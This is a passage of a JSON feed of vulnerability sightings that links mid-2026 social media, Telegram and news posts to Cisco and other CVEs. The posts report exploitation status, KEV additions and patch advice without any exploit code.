"CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mns2gzefuc2y", "content": "5/ \u26a0\ufe0f Two zero-days without patches: Cisco CVE-2026-20245 (SD-WAN Manager, root RCE, ACTIVELY EXPLOITED) and Microsoft Exchange CVE-2026-42897 (XSS, auto-mitigation exists \u2014 confirm yours is on). Neither has a patch yet.", "creation_timestamp": "2026-06-08T16:00:01.654286Z"}, {"uuid": "a85ceabd-07b1-4295-b841-c68950a02870", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mns2gzeonl2y", "content": "5/ \u26a0\ufe0f Two zero-days without patches: Cisco CVE-2026-20245 (SD-WAN Manager, root RCE, ACTIVELY EXPLOITED) and Microsoft Exchange CVE-2026-42897 (XSS, auto-mitigation exists \u2014 confirm yours is on). Neither has a patch yet.", "creation_timestamp": "2026-06-08T16:00:11.122215Z"}, {"uuid": "e81890a4-9bf0-4a30-81f9-37216a1d581c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mns2gzeis22y", "content": "5/ \u26a0\ufe0f Two zero-days without patches: Cisco CVE-2026-20245 (SD-WAN Manager, root RCE, ACTIVELY EXPLOITED) and Microsoft Exchange CVE-2026-42897 (XSS, auto-mitigation exists \u2014 confirm yours is on). Neither has a patch yet.", "creation_timestamp": "2026-06-08T16:00:04.576515Z"}, {"uuid": "69c023ad-b282-4214-9d78-283f1c359e51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mns2gzejrc2y", "content": "5/ \u26a0\ufe0f Two zero-days without patches: Cisco CVE-2026-20245 (SD-WAN Manager, root RCE, ACTIVELY EXPLOITED) and Microsoft Exchange CVE-2026-42897 (XSS, auto-mitigation exists \u2014 confirm yours is on). Neither has a patch yet.", "creation_timestamp": "2026-06-08T16:00:05.356832Z"}, {"uuid": "85b7b217-9264-4dbf-b316-a05cb5f06e3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mns2gzekqk2y", "content": "5/ \u26a0\ufe0f Two zero-days without patches: Cisco CVE-2026-20245 (SD-WAN Manager, root RCE, ACTIVELY EXPLOITED) and Microsoft Exchange CVE-2026-42897 (XSS, auto-mitigation exists \u2014 confirm yours is on). Neither has a patch yet.", "creation_timestamp": "2026-06-08T16:00:07.158013Z"}, {"uuid": "6758dfef-4724-4a93-9fa6-d9b9c28e7473", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mns2gzemp22y", "content": "5/ \u26a0\ufe0f Two zero-days without patches: Cisco CVE-2026-20245 (SD-WAN Manager, root RCE, ACTIVELY EXPLOITED) and Microsoft Exchange CVE-2026-42897 (XSS, auto-mitigation exists \u2014 confirm yours is on). Neither has a patch yet.", "creation_timestamp": "2026-06-08T16:00:07.883481Z"}, {"uuid": "2ce58136-2c97-4a24-ace7-8ffbb7a7c4bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mns2gzemp32y", "content": "5/ \u26a0\ufe0f Two zero-days without patches: Cisco CVE-2026-20245 (SD-WAN Manager, root RCE, ACTIVELY EXPLOITED) and Microsoft Exchange CVE-2026-42897 (XSS, auto-mitigation exists \u2014 confirm yours is on). Neither has a patch yet.", "creation_timestamp": "2026-06-08T16:00:09.670040Z"}, {"uuid": "d5745ea3-ccac-419b-9504-43d560f988d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mns2gzenod2y", "content": "5/ \u26a0\ufe0f Two zero-days without patches: Cisco CVE-2026-20245 (SD-WAN Manager, root RCE, ACTIVELY EXPLOITED) and Microsoft Exchange CVE-2026-42897 (XSS, auto-mitigation exists \u2014 confirm yours is on). Neither has a patch yet.", "creation_timestamp": "2026-06-08T16:00:10.397880Z"}, {"uuid": "bfb9e9bc-1a01-490a-af8c-6d097eca46ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mns2orxqel23", "content": "~Checkpoint~\nCheck Point's June 8th report highlights critical zero-days in Android, Cisco, and Windows Netlogon, alongside major breaches at DentaQuest and Dashlane.\n-\nIOCs: CVE-2025-48595, CVE-2026-20230, CVE-2026-41089\n-\n...", "creation_timestamp": "2026-06-08T16:04:16.092861Z"}, {"uuid": "d3e846bb-0a25-40cf-a1b1-aef759867d64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3msvift42ib2t", "content": "Cisco patches an actively exploited zero-day (CVE-2026-20349) in ASA and FTD firewalls. The flaw allows a remote, unauthenticated attacker to cause a denial-of-service (DoS). Patch immediately to prevent network disruption. #Cisco #ZeroDay #PotatoSecu...\n\n\ud83c\udf10 potato[.]netsecops[.]io", "creation_timestamp": "2026-08-12T15:53:45.011901Z"}, {"uuid": "0c2fc171-78de-4c8b-bd37-d8ded66170d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sarubot.bsky.social/post/3mnt5wlto5l2p", "content": "Cisco SD-WAN\u306broot\u6a29\u9650\u3092\u596a\u53d6\u3055\u308c\u308b\u30bc\u30ed\u30c7\u30a4\u3002\u65e2\u306b\u60aa\u7528\u3082\u78ba\u8a8d\u6e08\u307f\u3067\u3059\u3002\n\n\u30fbCVE-2026-20245\n\u30fb\u30aa\u30f3\u30d7\u30ec/\u30af\u30e9\u30a6\u30c9\u5168\u57df\u304c\u5bfe\u8c61\n\u30fbOS\u30b3\u30de\u30f3\u30c9\u5b9f\u884c\u306e\u8106\u5f31\u6027\n\u30fb\u4fee\u6b63\u30d1\u30c3\u30c1\u306f\u5f85\u6a5f\u4e2d\n\n\u57fa\u76e4\u3078\u306e\u4fb5\u5165\u306f\u81f4\u547d\u7684\u3067\u3059\u3002\u5373\u5ea7\u306b\u7ba1\u7406\u30a2\u30af\u30bb\u30b9\u306e\u5236\u9650\u3092\u5fb9\u5e95\u3057\u3066\u304f\u3060\u3055\u3044\u3002\n\n#Cisco #\u30bc\u30ed\u30c7\u30a4", "creation_timestamp": "2026-06-09T02:34:59.175649Z"}, {"uuid": "68b02e0f-d3fd-4c94-96c4-ae22c57749a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://dnsc.ro/citeste/alerta-vulnerabilitate-exploatat-activ-in-cisco", "content": "", "creation_timestamp": "2026-08-12T16:15:04.883041Z"}, {"uuid": "527cb629-45e2-46ba-8f9f-89abbfb79480", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/cisco-security-advisory-av26-807", "content": "", "creation_timestamp": "2026-08-12T16:15:07.107480Z"}, {"uuid": "ec2de4b9-53c6-4f10-a9e7-c9ea22b6f9bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "Telegram/wffTTuVgQJ98JwhL42Ct7GiTcbOZOW8KxITp_kb-2yHdqmI", "content": "", "creation_timestamp": "2026-08-21T09:00:04.660546Z"}, {"uuid": "bb47b435-2d64-46d7-a4a5-cb2fbd6cec04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3mntglqiuw42k", "content": "Security Updates Released for CVE-2026-20230 and Other Vulnerabilities", "creation_timestamp": "2026-06-09T05:09:58.816049Z"}, {"uuid": "83063ae1-b079-45f1-b4f1-0115d6b3a103", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://t.me/pphm_HackerNews/1558", "content": "\ud83d\udd34 Underground Forum User Claims to Sell Cisco CVE-2026-20045 Exploit Code\n\nCisco Unified Communications\nAlleged CVE-2026-20045 RCE Exploit Source Code Advertised on Underground Forum\n\nA threat actor is advertising what they claim to be source code and exploit material for CVE-2026-20045, a high-severity vulnerability affecting multiple Cisco Unified Communications products.\n\nAccording to the forum post, the actor claims:\n\n* Exploit targets CVE-2026-20045\n* CVSS Score: 8.2 (High)\n* Unauthenticated Remote Code Execution (RCE)\n* Source code included\n* Exploit download available to forum members\n* Targets multiple Cisco Unified Communications platforms", "creation_timestamp": "2026-08-21T23:00:11.803306Z"}, {"uuid": "01c643cc-ccef-42f5-85a5-2b206710cc1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "46d1ef4f-3d37-4b0f-b036-b58f9eb91419", "vulnerability": "gcve-1-2026-20092", "type": "seen", "source": "https://vulnerability.circl.lu/comment/ed328247-4f96-48dd-8197-1b20e5175634", "content": "", "creation_timestamp": "2026-06-09T09:34:04.566667Z"}, {"uuid": "391b2613-d498-4169-a496-815d5fc067cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/pphm_HackerNews/1623", "content": "\ud83d\udd34 Hackers Exploiting Cisco Unified CM Vulnerability\n\nCisco announced patches for the vulnerability, tracked as CVE-2026-20230. The company said the critical security hole can be exploited by an unauthenticated, remote attacker to conduct SSRF attacks, write arbitrary files to the underlying operating system, and escalate privileges to root. Exploitation requires enabling the WebDialer service, which is disabled by default.\n\nWhen it announced fixes, Cisco noted that a PoC exploit had been available, but said it was not aware of any in-the-wild exploitation.", "creation_timestamp": "2026-08-21T23:00:11.595129Z"}, {"uuid": "b12edee2-3df1-4800-b316-1be6029fcab7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/pphm_HackerNews/1635", "content": "\ud83d\udd34 Cisco SD-WAN Zero-Day Exploited Months Before Patching\n\nThe vulnerability, tracked as CVE-2026-20245, is the 7th Cisco SD-WAN product flaw whose exploitation came to light in 2026. \n\nCVE-2026-20245 affects the CLI of Cisco Catalyst SD-WAN Manager and allows an authenticated local attacker to execute arbitrary commands with root privileges using specially crafted files.\n\nThe security hole was disclosed by Cisco in early June, and patches were released roughly one week later. \n\nMandiant\u2019s investigation began in early 2026 after observing an unidentified threat actor targeting SD-WAN infrastructure at a service provider.", "creation_timestamp": "2026-08-21T23:00:11.332678Z"}, {"uuid": "b5281091-6c7f-4d86-bd2a-9dd651cd3ec9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20030", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtjh6z3l4k26", "content": "\ud83d\udd17 CVE : CVE-2026-20030, CVE-2026-20231, CVE-2026-20315, CVE-2026-20317, CVE-2026-20318, CVE-2026-20319, CVE-2026-20320, CVE-2026-20357, CVE-2026-20358, CVE-2026-20359", "creation_timestamp": "2026-08-20T14:25:17.287470Z"}, {"uuid": "1b06ac25-6870-4dab-b57b-089393dd9f77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20231", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtjh6z3l4k26", "content": "\ud83d\udd17 CVE : CVE-2026-20030, CVE-2026-20231, CVE-2026-20315, CVE-2026-20317, CVE-2026-20318, CVE-2026-20319, CVE-2026-20320, CVE-2026-20357, CVE-2026-20358, CVE-2026-20359", "creation_timestamp": "2026-08-20T14:25:17.359505Z"}, {"uuid": "a2a47b09-7bf8-4885-8593-a80191e4462c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20315", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtjh6z3l4k26", "content": "\ud83d\udd17 CVE : CVE-2026-20030, CVE-2026-20231, CVE-2026-20315, CVE-2026-20317, CVE-2026-20318, CVE-2026-20319, CVE-2026-20320, CVE-2026-20357, CVE-2026-20358, CVE-2026-20359", "creation_timestamp": "2026-08-20T14:25:17.423490Z"}, {"uuid": "e537ef52-4bf3-42f7-b960-335e48a671d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20317", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtjh6z3l4k26", "content": "\ud83d\udd17 CVE : CVE-2026-20030, CVE-2026-20231, CVE-2026-20315, CVE-2026-20317, CVE-2026-20318, CVE-2026-20319, CVE-2026-20320, CVE-2026-20357, CVE-2026-20358, CVE-2026-20359", "creation_timestamp": "2026-08-20T14:25:17.488901Z"}, {"uuid": "ccedf6b7-6b56-4285-bff4-ee278afd6820", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20318", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtjh6z3l4k26", "content": "\ud83d\udd17 CVE : CVE-2026-20030, CVE-2026-20231, CVE-2026-20315, CVE-2026-20317, CVE-2026-20318, CVE-2026-20319, CVE-2026-20320, CVE-2026-20357, CVE-2026-20358, CVE-2026-20359", "creation_timestamp": "2026-08-20T14:25:17.555672Z"}, {"uuid": "12ee1d3b-6dac-4659-ab5a-a3c358db7471", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20319", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtjh6z3l4k26", "content": "\ud83d\udd17 CVE : CVE-2026-20030, CVE-2026-20231, CVE-2026-20315, CVE-2026-20317, CVE-2026-20318, CVE-2026-20319, CVE-2026-20320, CVE-2026-20357, CVE-2026-20358, CVE-2026-20359", "creation_timestamp": "2026-08-20T14:25:17.620417Z"}, {"uuid": "b71f0075-cb8d-4ed1-8573-0d1edf43e84a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20320", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtjh6z3l4k26", "content": "\ud83d\udd17 CVE : CVE-2026-20030, CVE-2026-20231, CVE-2026-20315, CVE-2026-20317, CVE-2026-20318, CVE-2026-20319, CVE-2026-20320, CVE-2026-20357, CVE-2026-20358, CVE-2026-20359", "creation_timestamp": "2026-08-20T14:25:17.683654Z"}, {"uuid": "93d2cbef-3464-4fd8-b900-bbfef0669fc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20357", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtjh6z3l4k26", "content": "\ud83d\udd17 CVE : CVE-2026-20030, CVE-2026-20231, CVE-2026-20315, CVE-2026-20317, CVE-2026-20318, CVE-2026-20319, CVE-2026-20320, CVE-2026-20357, CVE-2026-20358, CVE-2026-20359", "creation_timestamp": "2026-08-20T14:25:17.747794Z"}, {"uuid": "c31e04d0-f78a-414d-821d-e6c80855be7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20358", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtjh6z3l4k26", "content": "\ud83d\udd17 CVE : CVE-2026-20030, CVE-2026-20231, CVE-2026-20315, CVE-2026-20317, CVE-2026-20318, CVE-2026-20319, CVE-2026-20320, CVE-2026-20357, CVE-2026-20358, CVE-2026-20359", "creation_timestamp": "2026-08-20T14:25:17.815354Z"}, {"uuid": "505f5f78-112f-4340-b788-e43f1392ed2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20359", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtjh6z3l4k26", "content": "\ud83d\udd17 CVE : CVE-2026-20030, CVE-2026-20231, CVE-2026-20315, CVE-2026-20317, CVE-2026-20318, CVE-2026-20319, CVE-2026-20320, CVE-2026-20357, CVE-2026-20358, CVE-2026-20359", "creation_timestamp": "2026-08-20T14:25:17.881110Z"}, {"uuid": "a2bba6d9-5d3b-49f0-bcbf-f8191153d9a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mnufupx4hw2e", "content": "\u30b7\u30b9\u30b3\u9867\u5ba2\u3001\u307e\u305f\u65b0\u305f\u306aSD-WAN\u30bc\u30ed\u30c7\u30a4\u306e\u60aa\u7528\u88ab\u5bb3\u306b\u76f4\u9762\n\n\u30b7\u30b9\u30b3\u306e\u9867\u5ba2\u304c\u3001\u540c\u793e\u306eSD-WAN\u7ba1\u7406\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306b\u5f71\u97ff\u3059\u308b\u65b0\u305f\u306a\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u306e\u7a4d\u6975\u7684\u306a\u60aa\u7528\u306b\u76f4\u9762\u3057\u3066\u3044\u307e\u3059\u3002\u4eca\u5e74\u3001\u8105\u5a01\u306e\u6ce2\u304c\u4e00\u6642\u7684\u306b\u548c\u3089\u3050\u5c40\u9762\u3082\u3042\u3063\u305f\u7d44\u7e54\u306b\u3068\u3063\u3066\u3001\u3053\u306e\u4e8b\u614b\u306f\u3055\u3089\u306a\u308b\u30d7\u30ec\u30c3\u30b7\u30e3\u30fc\u3068\u306a\u3063\u3066\u3044\u307e\u3059\u3002 \u3053\u306e\u8106\u5f31\u6027 \u2014 CVE-2026-20245 \u2014 \u306f\u3001\u4eca\u5e74\u30b7\u30b9\u30b3SD-WAN\u3067\u7a4d\u6975\u7684\u306b\u60aa\u7528\u3055\u308c\u305f7\u4ef6\u76ee", "creation_timestamp": "2026-06-09T14:29:46.258744Z"}, {"uuid": "16d1be1a-f69b-42a0-b5ed-1544fc2b1421", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20103", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnugbtrv4j2h", "content": "\ud83d\udccc CVE-2026-20103 - A vulnerability in the Remote Access SSL VPN functionality of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Secure Firewall Thr... https://www.cyberhub.blog/cves/CVE-2026-20103", "creation_timestamp": "2026-06-09T14:37:07.029014Z"}, {"uuid": "8cf78171-d882-40e3-98f8-184a1e1ee16e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20103", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mnugbw7tvc22", "content": "\ud83d\udccc CVE-2026-20103 - A vulnerability in the Remote Access SSL VPN functionality of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Secure Firewall Thr... https://www.potatohub.blog/cves/CVE-2026-20103", "creation_timestamp": "2026-06-09T14:37:08.538168Z"}, {"uuid": "34c71c22-9fa2-4b25-b16d-284e0f6d49f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/cybereyeq.bsky.social/post/3msvp4duaro24", "content": "CISA added 3 exploited CVEs to KEV (Aug 11), led by CVE-2026-20349 in Cisco ASA/FTD. Federal agencies must patch it by Aug 14 under BOD 26-04. Patch internet-facing ASA/FTD now.\n\nhttps://www.cybereyeq.com/?utm_source=bluesky&utm_medium=social&utm_campaign=daily", "creation_timestamp": "2026-08-12T17:53:43.196587Z"}, {"uuid": "0885d2d2-f036-492f-a1cc-7d4bb5ff231c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20101", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnuhxjvt7t2q", "content": "\ud83d\udccc CVE-2026-20101 - A vulnerability in the SAML 2.0 single sign-on (SSO) feature of Cisco Secure Firewall ASA Software and Secure FTD Software could allow an unauthentica... https://www.cyberhub.blog/cves/CVE-2026-20101", "creation_timestamp": "2026-06-09T15:08:00.297112Z"}, {"uuid": "4322240b-72d4-4417-93ba-6062db4a0ea2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3msvpzn2a6222", "content": "CVE-2026-20349 is trending. Hype score 8, currently #7 on cvemon.\n\nA vulnerability in the Remote Access SSL VPN service for Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-20349", "creation_timestamp": "2026-08-12T18:10:05.958091Z"}, {"uuid": "ad71dc9d-826e-46d7-b60f-767ef3ed1a3b", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/aef1a0ae-c19d-4288-9a7d-bd41f3b6eeca", "content": "", "creation_timestamp": "2026-06-09T20:00:02.165943Z"}, {"uuid": "b52c7109-979e-4ec5-ae7c-ac989c954007", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mnuyi3sjan2d", "content": "~Cisa~\nCISA added CVE-2026-7473 (Arista), CVE-2026-11645 (Chromium), and CVE-2026-20245 (Cisco) to its KEV catalog due to active exploitation.\n-\nIOCs: CVE-2026-7473, CVE-2026-11645, CVE-2026-20245\n-\n#CISA #KEV #ThreatIntel #Vulnerability", "creation_timestamp": "2026-06-09T20:12:06.511718Z"}, {"uuid": "298c9963-21c7-4356-8bee-efd4bd071d07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/sarubot.bsky.social/post/3mnvx4ny4yj2t", "content": "Cisco SD-WAN\u306bCVSS10.0\u306e\u6975\u60aa\u30bc\u30ed\u30c7\u30a4(CVE-2026-20127)\u304c\u767a\u899a\u300223\u5e74\u304b\u3089\u6f5c\u4f0f\u3002\n\n\u30fb\u8a8d\u8a3c\u56de\u907f\u3067\u69cb\u6210\u6539\u3056\u3093\u3001\u30c0\u30a6\u30f3\u30b0\u30ec\u30fc\u30c9\u3067root\u596a\u53d6\n\u30fbCISA\u304c\u7336\u4e882\u65e5\u306e\u7dca\u6025\u30d1\u30c3\u30c1\u3092\u547d\u3058\u308b\u8d85\u4e00\u7d1a\u306e\u8105\u5a01\n\n\u4fe1\u983c\u306e\u62e0\u70b9\u304c\u4fb5\u5165\u7d4c\u8def\u306b\u306a\u308b\u76ae\u8089\u3002\u7ba1\u7406\u753b\u9762\u306e\u30cd\u30c3\u30c8\u9732\u51fa\u306f\u5373\u9589\u585e\u3092\u3002\n\n#Cisco #\u30bc\u30ed\u30c7\u30a4", "creation_timestamp": "2026-06-10T05:11:21.592766Z"}, {"uuid": "1aa25d8a-23cd-4ad2-aca7-ec98a0e31470", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/nuke86.rfeed.it/post/3mnwdzui3de2h", "content": "\u2728 CVE-2026-20245 e CVE-2026-41089: zero-day Cisco SD-WAN e RCE su Netlogon sotto attacco attivo \nLeggi il blog: spcnet.it/cve-2026-202...", "creation_timestamp": "2026-06-10T09:02:10.787140Z"}, {"uuid": "f7b6d109-23be-4204-9fb7-8318adedb703", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-20)", "content": "", "creation_timestamp": "2026-08-21T10:15:11.128318Z"}, {"uuid": "6a2cc9c5-fa92-4716-a5f2-3c42fa0f140c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/arc-perimetered.bsky.social/post/3mnwk7nrbcq2w", "content": "CVE-2026-20245, no patch. Everyone's saying 'isolate the SD-WAN manager.' Fine. But ask the next question: management plane compromise = control over the entire routing fabric. Every branch. Every policy. That's not a single node \u2014 that's the keys to the network.", "creation_timestamp": "2026-06-10T10:53:40.795680Z"}, {"uuid": "4885005f-9e26-4b57-8e4b-6f858f5eb351", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://www.cert.se/2026/06/patchtisdag-juni-2026-samlad-information-om-manadens-sakerhetsuppdateringar.html", "content": "", "creation_timestamp": "2026-06-10T05:00:00.000000Z"}, {"uuid": "1cd2bce3-ac21-479d-9955-ba2b5790260f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://thehackernews.com/2026/06/cisa-adds-cisco-chrome-and-arista-flaws.html", "content": "The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday added three new vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog, following reports of active exploitation.\n\nThe list of vulnerabilities is as follows -\n\n\n  CVE-2026-20245 (CVSS score: 7.8) - An improper encoding or escaping of output vulnerability in Cisco Catalyst SD-WAN Manager that could allow an", "creation_timestamp": "2026-06-10T12:44:29.000000Z"}, {"uuid": "22633d33-ff86-4620-804a-57498305eaeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20251", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mnxk446ell2m", "content": "Splunk Enterprise\u3001Splunk Cloud Platform\u3001\u304a\u3088\u3073Splunk Secure 